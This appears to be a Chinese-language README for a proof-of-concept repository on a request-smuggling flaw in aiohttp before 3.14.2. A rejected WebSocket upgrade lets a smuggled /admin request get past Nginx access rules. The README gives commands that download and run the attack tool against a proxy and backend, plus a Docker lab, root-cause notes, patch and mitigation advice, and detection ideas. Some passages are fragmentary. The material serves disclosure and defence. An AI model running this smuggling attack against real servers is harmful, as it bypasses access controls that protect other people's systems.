通过 aiohttp < 3.14.2 中被拒绝的 WebSocket 升级实现请求走私。
当反向代理转发 Connection: Upgrade + Upgrade: websocket 头时,
存在漏洞的 aiohttp 解析器会跳过请求主体,并将尾部字节解释为流水线请求——从而绕过边缘访问控制。
已在 aiohttp 3.14.2 中修复(提交 6ae358f)。
作者:João Victor Botelho(JV Botelho)— https://glitchedcat.com
复制粘贴 Python 版本(零依赖,仅标准库):
curl -O https://raw.githubusercontent.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling/main/poc.py
python3 poc.py <proxy-host> <proxy-port> <backend-host>
或构建 Rust 版本(零依赖,仅标准库):
git clone https://github.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling
cd cve-2026-69243-poc-aiohttp-smuggling/poc
cargo build --release
./target/release/cve-2026-69243-poc <proxy-host> <proxy-port> <backend-host>
预编译二进制文件将通过发布工作流发布到 Releases。
两者都会生成 字节完全一致 的载荷(由 CI 一致性测试强制保证)。 如果实验环境正在运行:
python3 poc.py nginx-upgrade 80 backend-vuln
预期输出:1 个 HTTP 响应(WebSocket upgrade rejected)。然后验证:
# 后端处理了 2 个请求(/ws + 被走私的 /admin):
docker logs backend-vuln | grep -c '"path".*"/admin"'
# Nginx 只记录了 1 个请求(/ws):
docker exec nginx-upgrade cat /logs/nginx-upgrade.access.log | grep -c '/admin'
后端计数 > 0 且 Nginx 计数 = 0 即确认 CWE-444 拆分。此 PoC 发送单个 TCP 段——主体就是被走私的请求;Nginx 将其视为主体,aiohttp 将其视为第二个请求。
_http_parser.pyx 在主体被消费之前检测到升级时返回 2(跳过主体)(约第 863 行)。主体字节保留在 _message_tail 中,并在 web_protocol.py 的 finish_response(约第 771 行)中被重新喂给解析器。location /admin { deny all; } 时,被走私的 /admin 仍然会到达后端,因为 Nginx 的路由决策仅基于外部请求。await request.read() 在升级请求上返回 0 字节——主体被保留在处理器层之下。请打补丁,或在代理上对不允许切换协议的路由剥离升级头。git clone https://github.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling
cd cve-2026-69243-poc-aiohttp-smuggling
docker compose up -d
# 运行 PoC:
docker compose run --rm --entrypoint /app/poc attacker nginx-upgrade 80 backend-vuln
服务:
完整的第一至三阶段发现见 findings/。
Connection: close 或剥离 Connection/Upgrade 头的 Nginx 配置不受影响。暴露该拆分的配置是 Nginx 自身代理文档中的标准 WebSocket map 片段。/ws 响应。走私的证据在后端日志中,而不在攻击者响应中——在该拓扑中这是一种盲目的单向原语。未测试其他代理拓扑。Transfer-Encoding: chunked 不会走私——原始块大小行(例如 3e)作为无效方法命中解析器,连接随即终止。通过 Nginx 则有效,但通过规范化实现:Nginx 对主体去分块并转发合成的 Content-Length,因此后端是通过相同的 CL 路径被利用的。--chunked 标志演示了代理路径。WebSocketResponse 的响应。大多数在路由上不使用 WebSocket 的应用会默认拒绝(框架返回 404 或落到下一个处理器)。poc/ # Rust cargo 项目
├── Cargo.toml
├── src/main.rs # CLI 二进制
├── src/lib.rs # 库 + 单元测试
├── tests/parity.rs # 跨语言载荷一致性测试
└── fuzz/ # cargo-fuzz 目标
poc.py # Python PoC(从博客复制粘贴)
attacker/ backend/ frontend/ # Docker 实验服务
docker-compose.yml # 7 服务实验环境
findings/ # 研究笔记(第一阶段至第三阶段)
.github/workflows/
├── ci.yml # 构建、测试、clippy、一致性、集成、fuzz
└── release.yml # 交叉编译 + GitHub Release
完整分析见 findings/fase3-deteccao.md。总结如下,并附上生产环境中真正重要的注意事项:
X-Forwarded-For/代理协议,或记录上游连接 ID + 每连接请求序列。仅凭客户端 IP + 时间窗口是较弱的(NAT、keep-alive、并发)。content_length 与 request.read() 返回的字节数对比):在 3.14.1 上会触发,在 3.14.2 上静默。可检测,但不能缓解。需要限定范围(可能是升级的路由、较小的主体、非 101 状态)——朴素的实现会把每个主体都缓冲在内存中。reqlen 高于头部基线 —— 单独来看置信度较低(cookie/JWT/追踪头噪声很大),但当客户端不发送 Content-Length(分块入口)时,这是唯一的边缘信号。| 容器 | 用途 |
|---|
backend-vuln | aiohttp 3.14.1(存在漏洞),READ_BODY=false |
backend-vuln-read | aiohttp 3.14.1,READ_BODY=true(证明处理器无法帮助) |
backend-patched | aiohttp 3.14.2(已修复) |
nginx-upgrade | 转发升级头(对 /admin 执行 deny all) |
nginx-default | 不转发升级头(消除该 bug) |
nginx-strip | Connection "" 剥离(消除该 bug) |
attacker | Rust 二进制:reproduce、fase2、poc |